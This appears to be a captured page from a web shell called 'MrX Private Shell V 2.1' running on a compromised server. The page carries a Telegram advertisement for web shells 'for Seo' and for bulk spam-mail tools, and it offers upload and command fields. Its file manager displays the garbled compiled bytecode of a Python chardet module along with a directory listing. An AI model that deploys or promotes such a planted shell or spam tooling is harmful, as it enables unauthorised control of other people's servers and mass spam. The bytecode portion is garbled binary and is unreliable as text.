__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g:����SrSSKrSSKrSSKrSSKJrJrJr SSKJ	r	 SSK
Jr SSKJ
r
JrJr SSKJr SS	KJr SS
KJr SSKJr SSKJr SS
KJr SSKJr "SS5rg)a
Module containing the UniversalDetector detector class, which is the primary
class a user of ``chardet`` should use.

:author: Mark Pilgrim (initial port to Python)
:author: Shy Shalom (original C code)
:author: Dan Blanchard (major refactoring for 3.0)
:author: Ian Cordasco
�N)�List�Optional�Union�)�CharSetGroupProber)�
CharSetProber)�
InputState�LanguageFilter�ProbingState)�EscCharSetProber)�Latin1Prober)�MacRomanProber)�MBCSGroupProber)�
ResultDict)�SBCSGroupProber)�
UTF1632Proberc	�f�\rSrSrSrSr\R"S5r\R"S5r	\R"S5r
SSS	S
SSS
SS.rSSSS
SSSS.r\
RS4S\
S\SS4Sjjr\S\4Sj5r\S\4Sj5r\S\\4Sj5rS#SjrS\\\4SS4S jrS\4S!jrS"rg)$�UniversalDetector�8aI
The ``UniversalDetector`` class underlies the ``chardet.detect`` function
and coordinates all of the different charset probers.

To get a ``dict`` containing an encoding and its confidence, you can simply
run:

.. code::

        u = UniversalDetector()
        u.feed(some_bytes)
        u.close()
        detected = u.result

g�������?s[�-�]s(|~{)s[�-�]zWindows-1252zWindows-1250zWindows-1251zWindows-1256zWindows-1253zWindows-1255zWindows-1254zWindows-1257)�
iso-8859-1z
iso-8859-2z
iso-8859-5z
iso-8859-6z
iso-8859-7z
iso-8859-8�
iso-8859-9ziso-8859-13zISO-8859-11�GB18030�CP949�UTF-16)�asciirztis-620r�gb2312zeuc-krzutf-16leF�lang_filter�should_rename_legacy�returnNc��SUlSUl/UlSSSS.UlSUlSUl[RUlSUl	Xl
[R"[5UlSUlX lUR#5 g)N���encoding�
confidence�languageF�)�_esc_charset_prober�_utf1632_prober�_charset_probers�result�done�	_got_datar	�
PURE_ASCII�_input_state�
_last_charr�logging�	getLogger�__name__�logger�_has_win_bytesr�reset)�selfrrs   �;/usr/lib/python3/dist-packages/chardet/universaldetector.py�__init__�UniversalDetector.__init__ds���
@D�� �8<���57������#
���
��	����&�1�1������&���'�'��1���#���$8�!��
�
�r&c��UR$�N)r.�r6s r7�input_state�UniversalDetector.input_state{s��� � � r&c��UR$r;)r4r<s r7�
has_win_bytes�UniversalDetector.has_win_bytess���"�"�"r&c��UR$r;)r)r<s r7�charset_probers�!UniversalDetector.charset_probers�s���$�$�$r&c�n�SSSS.UlSUlSUlSUl[R
UlSUlUR(aURR5 UR(aURR5 URHnUR5 M g)z�
Reset the UniversalDetector and all of its probers back to their
initial states.  This is called by ``__init__``, so you only need to
call this directly in between analyses of different documents.
Nr!r"Fr&)r*r+r,r4r	r-r.r/r'r5r(r))r6�probers  r7r5�UniversalDetector.reset�s���$(�s��M�����	����#���&�1�1�������#�#��$�$�*�*�,����� � �&�&�(��+�+�F��L�L�N�,r&�byte_strc�
�UR(agU(dg[U[5(d[U5nUR(GdUR	[
R5(aSSSS.UlO�UR	[
R[
R45(aSSSS.UlO�UR	S5(aSSSS.UlOaUR	S	5(aS
SSS.UlO?UR	[
R[
R45(aSSSS.UlSUlURS
bSUlgUR[R:Xa�URR!U5(a[R"UlO`UR[R:XaBUR$R!UR&U-5(a[R(UlUSSUlUR*(d[-5UlUR*R.[0R2:XalUR*R5U5[0R6:Xa?UR*R8UR*R;5SS.UlSUlgUR[R(:Xa�UR<(d[?UR@5UlUR<R5U5[0R6:XaSUR<R8UR<R;5UR<RBS.UlSUlggUR[R":XGaLURD(d�[GUR@5/Ul"UR@[HRJ-(a#URDRM[O55 URDRM[Q55 URDRM[S55 URDH\nUR5U5[0R6:XdM(UR8UR;5URBS.UlSUl O URTR!U5(aSUl+ggg)a�
Takes a chunk of a document and feeds it through all of the relevant
charset probers.

After calling ``feed``, you can check the value of the ``done``
attribute to see if you need to continue feeding the
``UniversalDetector`` more data, or if it has made a prediction
(in the ``result`` attribute).

.. note::
   You should always call ``close`` when you're done feeding in your
   document if ``done`` is not already ``True``.
Nz	UTF-8-SIG��?�r"zUTF-32s��zX-ISO-10646-UCS-4-3412s��zX-ISO-10646-UCS-4-2143rTr#���),r+�
isinstance�	bytearrayr,�
startswith�codecs�BOM_UTF8r*�BOM_UTF32_LE�BOM_UTF32_BE�BOM_LE�BOM_BEr.r	r-�HIGH_BYTE_DETECTOR�search�	HIGH_BYTE�ESC_DETECTORr/�	ESC_ASCIIr(r�stater�	DETECTING�feed�FOUND_IT�charset_name�get_confidencer'rrr%r)rr
�NON_CJK�appendrr
r�WIN_BYTE_DETECTORr4)r6rHrFs   r7r]�UniversalDetector.feed�s����9�9�����(�I�.�.� ��*�H��~�~�~��"�"�6�?�?�3�3�!,�"%� "����
�$�$�f�&9�&9�6�;N�;N�%O�P�P�,4�3�TV�W����$�$�%8�9�9�!9�"%� "�	����$�$�%8�9�9�!9�"%� "�	����$�$�f�m�m�V�]�]�%C�D�D�,4�3�TV�W���!�D�N��{�{�:�&�2� ��	�����
� 5� 5�5��&�&�-�-�h�7�7�$.�$8�$8��!��!�!�Z�%:�%:�:��%�%�,�,�T�_�_�x�-G�H�H�$.�$8�$8��!�"�2�3�-����#�#�#0�?�D� ����%�%��)?�)?�?��#�#�(�(��2�l�6K�6K�K� $� 4� 4� A� A�"&�"6�"6�"E�"E�"G� "����
!��	�����
� 4� 4�4��+�+�+;�D�<L�<L�+M��(��'�'�,�,�X�6�,�:O�:O�O� $� 8� 8� E� E�"&�":�":�"I�"I�"K� $� 8� 8� A� A����
!��	�
P��
�
�*�"6�"6�
6��(�(�)8��9I�9I�)J�(K��%��#�#�n�&<�&<�<��)�)�0�0��1B�C��%�%�,�,�\�^�<��%�%�,�,�^�-=�>��/�/���;�;�x�(�L�,A�,A�A�$*�$7�$7�&,�&;�&;�&=�$*�O�O�#�D�K�
!%�D�I��0��%�%�,�,�X�6�6�&*��#�7�#7r&c	���UR(aUR$SUlUR(dURR	S5 GOiUR
[R:Xa
SSSS.UlGO>UR
[R:XGaSnSnSnURH'nU(dMUR5nX:�dM#UnUnM) U(a�X R:�a�URnUceUR5nUR5nURS	5(a,UR(aUR R#Xe5nUR$(a3UR&R#U=(d SR5U5nUUUR(S.UlURR+5[,R.::a�URS
c�URR	S5 URH�nU(dM[1U[25(aUUR4HCnURR	SURUR(UR55 ME MvURR	SURUR(UR55 M� UR$)
z�
Stop analyzing the current document and come up with a final
prediction.

:returns:  The ``result`` attribute, a ``dict`` with the keys
           `encoding`, `confidence`, and `language`.
Tzno data received!rrJrKr"Nr!ziso-8859r#z no probers hit minimum thresholdz%s %s confidence = %s)r+r*r,r3�debugr.r	r-rXr)r`�MINIMUM_THRESHOLDr_�lowerrOr4�ISO_WIN_MAP�getr�
LEGACY_MAPr%�getEffectiveLevelr0�DEBUGrMr�probers)	r6�prober_confidence�max_prober_confidence�
max_proberrFr_�lower_charset_namer$�group_probers	         r7�close�UniversalDetector.closes`���9�9��;�;����	��~�~��K�K���1�2��
�
�*�"7�"7�
7�'.�c�r�R�D�K��
�
�*�"6�"6�
6� $��$'�!��J��/�/����$*�$9�$9�$;�!�$�<�,=�)�!'�J�
0��4�7M�7M�M�)�6�6��#�/�/�/�%1�%7�%7�%9�"�'�6�6�8�
�&�0�0��<�<��*�*�'+�'7�'7�';�';�.�(���,�,�#'�?�?�#6�#6�%�+��2�2�4�l�$�L�!-�",� *� 3� 3�����;�;�(�(�*�g�m�m�;��{�{�:�&�.����!�!�"D�E�$(�$9�$9�L�'� �!�,�0B�C�C�&2�&:�&:�F� �K�K�-�-� 7� &� 3� 3� &��� &� 5� 5� 7�	�';����)�)�3�(�5�5�(�1�1�(�7�7�9�	�%:�$�{�{�r&)r)r'r,r4r.r/r(r+rr3r*r)rN) r2�
__module__�__qualname__�__firstlineno__�__doc__rg�re�compilerVrYrcrirkr
�ALL�boolr8�property�intr=r@rrrCr5r�bytesrNr]rrt�__static_attributes__�r&r7rr8s1��� �����N�3���:�:�l�+�L��
�
�>�2��$�$�$�$�$�$�$�%�	�K� �$� �$�����J�'5�&8�&8�%*��#��#��
�	�.�!�S�!��!��#�t�#��#��%��m�!4�%��%��&A+�U�5�)�#3�4�A+��A+�FM�z�Mr&r)ryrPr0rz�typingrrr�charsetgroupproberr�
charsetproberr�enumsr	r
r�	escproberr�latin1proberr
�macromanproberr�mbcsgroupproberr�
resultdictr�sbcsgroupproberr�
utf1632proberrrr�r&r7�<module>r�sH��8���	�(�(�2�(�;�;�'�&�*�,�"�,�(�r�rr&

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 4.46 KB 0644
__main__.cpython-313.pyc File 320 B 0644
big5freq.cpython-313.pyc File 26.52 KB 0644
big5prober.cpython-313.pyc File 1.38 KB 0644
chardistribution.cpython-313.pyc File 9.7 KB 0644
charsetgroupprober.cpython-313.pyc File 4.16 KB 0644
charsetprober.cpython-313.pyc File 4.85 KB 0644
codingstatemachine.cpython-313.pyc File 3.77 KB 0644
codingstatemachinedict.cpython-313.pyc File 807 B 0644
cp949prober.cpython-313.pyc File 1.39 KB 0644
enums.cpython-313.pyc File 3.02 KB 0644
escprober.cpython-313.pyc File 4.57 KB 0644
escsm.cpython-313.pyc File 14.91 KB 0644
eucjpprober.cpython-313.pyc File 4.34 KB 0644
euckrfreq.cpython-313.pyc File 11.76 KB 0644
euckrprober.cpython-313.pyc File 1.39 KB 0644
euctwfreq.cpython-313.pyc File 26.52 KB 0644
euctwprober.cpython-313.pyc File 1.39 KB 0644
gb2312freq.cpython-313.pyc File 18.63 KB 0644
gb2312prober.cpython-313.pyc File 1.4 KB 0644
hebrewprober.cpython-313.pyc File 5.78 KB 0644
jisfreq.cpython-313.pyc File 21.59 KB 0644
johabfreq.cpython-313.pyc File 81.01 KB 0644
johabprober.cpython-313.pyc File 1.39 KB 0644
jpcntx.cpython-313.pyc File 38.79 KB 0644
langbulgarianmodel.cpython-313.pyc File 81.11 KB 0644
langgreekmodel.cpython-313.pyc File 75.12 KB 0644
langhebrewmodel.cpython-313.pyc File 75.62 KB 0644
langhungarianmodel.cpython-313.pyc File 81.06 KB 0644
langrussianmodel.cpython-313.pyc File 102.69 KB 0644
langthaimodel.cpython-313.pyc File 75.8 KB 0644
langturkishmodel.cpython-313.pyc File 75.64 KB 0644
latin1prober.cpython-313.pyc File 6.88 KB 0644
macromanprober.cpython-313.pyc File 7.06 KB 0644
mbcharsetprober.cpython-313.pyc File 3.89 KB 0644
mbcsgroupprober.cpython-313.pyc File 1.57 KB 0644
mbcssm.cpython-313.pyc File 37.7 KB 0644
resultdict.cpython-313.pyc File 656 B 0644
sbcharsetprober.cpython-313.pyc File 6.37 KB 0644
sbcsgroupprober.cpython-313.pyc File 2.3 KB 0644
sjisprober.cpython-313.pyc File 4.45 KB 0644
universaldetector.cpython-313.pyc File 12.2 KB 0644
utf1632prober.cpython-313.pyc File 10.08 KB 0644
utf8prober.cpython-313.pyc File 3.16 KB 0644
version.cpython-313.pyc File 444 B 0644
Filemanager